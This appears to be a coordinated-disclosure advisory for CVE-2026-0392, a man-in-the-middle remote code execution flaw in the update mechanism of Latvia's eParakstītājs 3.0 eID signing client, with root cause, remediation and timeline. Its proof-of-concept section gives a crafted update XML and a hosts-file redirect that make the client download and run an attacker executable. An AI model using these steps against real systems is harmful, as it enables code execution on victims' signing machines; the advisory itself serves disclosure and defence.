Remote code execution in Latvia’s national eID signing software

§ 01. Overview

eParakstītājs 3.0 is the Windows desktop client for eParaksts, Latvia's national electronic-signature service operated by VAS "Latvijas Valsts radio un televīzijas centrs" (LVRTC). Residents and organisations use it to create legally binding electronic signatures with their eID credentials, which makes it national trust-services infrastructure rather than an ordinary desktop application.

OffSeq found that the application's automatic-update mechanism fetched and executed code over a channel that was neither authenticated nor integrity-protected. A man-in-the-middle attacker able to redirect www.eparaksts.lv could serve a crafted update pointing to an executable of their choosing, and the client would download and run it — arbitrary code execution on the victim's machine. LVRTC fixed the issue in version 1.10.0, and it is tracked as CVE-2026-0392.

§ 02. The update mechanism

On every launch, eParakstītājs 3.0 requests an update descriptor — an XML document — from a fixed URL:

https://www.eparaksts.lv/files/ep3updates/eparakstitajs3-update-win64.xml

The descriptor advertises a version and a URI for the matching installer (.exe or .msi). When the advertised version is newer than the one installed, the client downloads that installer and executes it through Runtime.exec. The whole exchange is automatic; it needs no interaction beyond the user starting the application.

That design is only safe if two things hold: the client must reach the genuine server over properly validated TLS, and it must prove that both the descriptor and the installer are authentic and unmodified before running anything. eParakstītājs 3.0 enforced neither.

§ 03. Root cause: the missing checks

Four independent controls that this update path requires were all absent:

The first two mean TLS provides no protection: a permissive TrustManager accepts any certificate, and a HostnameVerifier that always returns true accepts any hostname. Any party on the network path — or able to redirect name resolution for www.eparaksts.lv — can therefore terminate the "HTTPS" connection with a self-signed certificate and impersonate the server.

The last two mean the payload is trusted on sight. Because the descriptor is unsigned, the attacker can rewrite it freely; because the downloaded installer's Authenticode signature is never checked (and there is no checksum), the client cannot tell LVRTC's signed installer apart from an attacker's unsigned executable. Nothing downstream re-establishes the authenticity that TLS was supposed to guarantee.

§ 04. Proof of concept

The finding was demonstrated end to end against eParakstītājs 3.0:

1. Build any poc.exe — ours simply writes the host's device details to C:\Windows\Temp\eparaksts-rce-poc.txt as a harmless proof of execution.
2. Run an HTTPS server with a self-signed certificate on port 443 that answers the descriptor request at /files/ep3updates/eparakstitajs3-update-win64.xml with a version far above the installed one, pointing at the payload:

<update version="9.9.9" minversion="1.0.0"
        uri="https://www.eparaksts.lv/files/ep3updates/poc.exe">
  <upgrade version="9.9.9"
           uri="https://www.eparaksts.lv/files/ep3updates/poc.exe"/>
</update>

3. Redirect the name to the attacker on the victim host (standing in for ARP spoofing, a rogue access point or an evil-twin network):

<attacker IP>   www.eparaksts.lv

4. Launch eParakstītājs 3.0.

Within about two seconds of startup, the server received two requests — the descriptor, then poc.exe — and C:\Windows\Temp\eparaksts-rce-poc.txt appeared on the victim system. The self-signed certificate was accepted, the unsigned descriptor was trusted, and the unsigned executable was downloaded and run: arbitrary code execution, reached through nothing more than starting the application.

§ 05. Impact and severity

The published metrics are CVSS 4.0 base 7.3 (High), vector CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. The attack vector is Adjacent (AV:A): the realistic positions are on the victim's network — ARP spoofing, a rogue access point or an evil twin — rather than arbitrary internet-wide reach. Attack complexity is Low, no privileges are required, and the only user interaction (UI:A) is launching the application, which is its normal use. Confidentiality, integrity and availability impact on the vulnerable system are all High, consistent with arbitrary code execution in the user's context.

During triage the severity was briefly assessed as Local (AV:L) before being revised to the Adjacent vector above; a machine used for legally binding signatures is the very asset an attacker wants, because code execution in the user's context sits next to the ID-card, PIN entry and signing operations. That combination — a critical primitive reached over a plausible network position, on trust-services software, triggered by ordinary use — is what makes the finding serious despite not being remotely internet-facing.

§ 06. Remediation

A safe auto-update channel has to re-establish, at each layer, the authenticity the vulnerable version assumed. Three changes close the gap:

1. Restore TLS validation. Use the platform's default TrustManager and real hostname verification, and consider certificate pinning to www.eparaksts.lv, so a self-signed or mismatched certificate is rejected rather than accepted.
2. Sign the update descriptor. Attach a digital signature to the XML and verify it on the client, so the version and installer URI cannot be rewritten in transit.
3. Verify the installer before running it. Check the downloaded file's Authenticode signature with WinVerifyTrust, confirm the publisher is LVRTC/EUSO, and validate a checksum before execution.

LVRTC implemented an authenticated, signature-verified update channel in eParakstītājs 3.0 version 1.10.0, released on 9 July 2026. Until a client is updated, automatic updates can be disabled and new versions installed only from the official signed package obtained over a trusted network, with the Authenticode signature verified manually.

§ 07. Disclosure and outcome

The vulnerability was reported to CERT.LV on 12 May 2026, triaged and forwarded to LVRTC, and assessed at High severity. LVRTC developed and shipped the fix in version 1.10.0 on 9 July 2026; CVE-2026-0392 was reserved on 10 July and published on 4 August 2026, at which point the coordinated disclosure was closed.

The discovery is credited to Nils Putniņš (OffSeq Cybersecurity), with the disclosure coordinated through CERT.LV.